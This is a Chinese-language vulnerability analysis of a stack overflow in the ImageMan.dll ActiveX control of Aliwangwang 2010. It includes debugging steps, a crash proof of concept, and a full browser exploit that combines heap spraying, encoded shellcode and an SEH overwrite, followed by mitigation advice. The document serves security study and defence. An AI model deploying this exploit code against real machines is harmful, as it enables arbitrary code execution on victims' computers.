分析某旺ActiveX控件ImageMan.dll栈溢出漏洞
字数 1458 2025-08-27 12:33:30
ImageMan.dll ActiveX控件栈溢出漏洞分析与利用
0x1 漏洞概述
漏洞名称: 阿里旺旺ActiveX控件ImageMan.dll栈溢出漏洞
漏洞类型: 栈缓冲区溢出
影响组件: ImageMan.dll (CLSID: 128D0E38-1FF4-47C3-B0F7-0BAF90F568BF)
危险等级: 高危
漏洞成因: AutoPic函数未对传入参数长度进行校验,导致栈缓冲区溢出
利用方式: 通过覆盖SEH异常处理结构指针实现任意代码执行
0x2 环境准备
测试环境配置
| 组件 | 版本/配置 |
|---|---|
| 操作系统 | Windows XP SP3 |
| 阿里旺旺版本 | AliIM2010_taobao(6.50.00C) |
| 调试工具 | OllyDbg (OD) |
| 浏览器 | Internet Explorer |
0x3 漏洞分析
漏洞函数分析
漏洞位于ImageMan.dll中的AutoPic函数,该函数导出为ActiveX控件方法,可通过JavaScript调用。
关键问题:
- 函数未对输入字符串长度进行校验
- 使用不安全的字符串拷贝操作
- 栈缓冲区大小固定但输入可控
崩溃分析
- 当传入超长字符串时,函数会将数据拷贝到固定大小的栈缓冲区
- 超出缓冲区范围的数据会覆盖栈上的关键数据
- 最终会覆盖SEH异常处理结构指针
- 触发异常后,程序执行流被劫持
调试过程
-
定位调用点:
- 在OLEAUT32模块的
DispCallFunc函数中设置断点 - 跟踪
call ecx指令进入AutoPic函数
- 在OLEAUT32模块的
-
溢出点定位:
- 函数地址
0x10011CAC处发生栈溢出 - 观察栈区被"A"(0x41)字符填满
- 函数地址
-
异常触发:
- 溢出后堆栈平衡被破坏
- 程序进入异常处理流程
- SEH结构被覆盖导致控制流劫持
0x4 漏洞复现
POC代码
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>
POC说明:
- 创建长度为1111的"A"字符串
- 通过AutoPic方法传入控件
- 触发栈溢出导致程序崩溃
0x5 漏洞利用
利用技术
-
堆喷射(Heap Spraying):
- 在内存中布置大量包含shellcode的堆块
- 提高跳转地址命中shellcode的概率
-
SEH覆盖:
- 精确计算偏移覆盖SEH处理指针
- 控制程序异常处理流程
EXP代码
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++) s+=unescape("%0D%0D%0D%0D");
target.AutoPic(s,"defaultV");
</script>
</body>
</html>
EXP关键点解析
-
Shellcode构造:
- 使用unescape编码的shellcode
- 本例中是弹出计算器的代码
-
NOP雪橇:
- 使用
%u9090构造NOP指令 - 增加跳转命中率
- 使用
-
堆喷射实现:
- 创建大量内存块(200个)
- 每个内存块包含NOP+shellcode
- 填充内存增加shellcode出现概率
-
精确溢出:
- 构造特定长度字符串(1000个"%0D")
- 精确覆盖SEH处理指针
0x6 防护建议
-
厂商修复:
- 增加输入参数长度校验
- 使用安全字符串处理函数
-
临时缓解:
- 禁用ImageMan.dll ActiveX控件
- 设置kill-bit阻止控件加载
-
系统防护:
- 启用DEP(数据执行保护)
- 启用ASLR(地址空间布局随机化)
- 使用最新版浏览器
0x7 总结
该漏洞是典型的ActiveX控件栈溢出漏洞,利用过程展示了:
- 如何通过JavaScript调用有漏洞的ActiveX方法
- 栈溢出漏洞的触发原理
- SEH覆盖技术的实际应用
- 堆喷射技术的实现方式
此类漏洞的利用需要精确计算偏移量,并配合内存布局技术才能成功执行任意代码。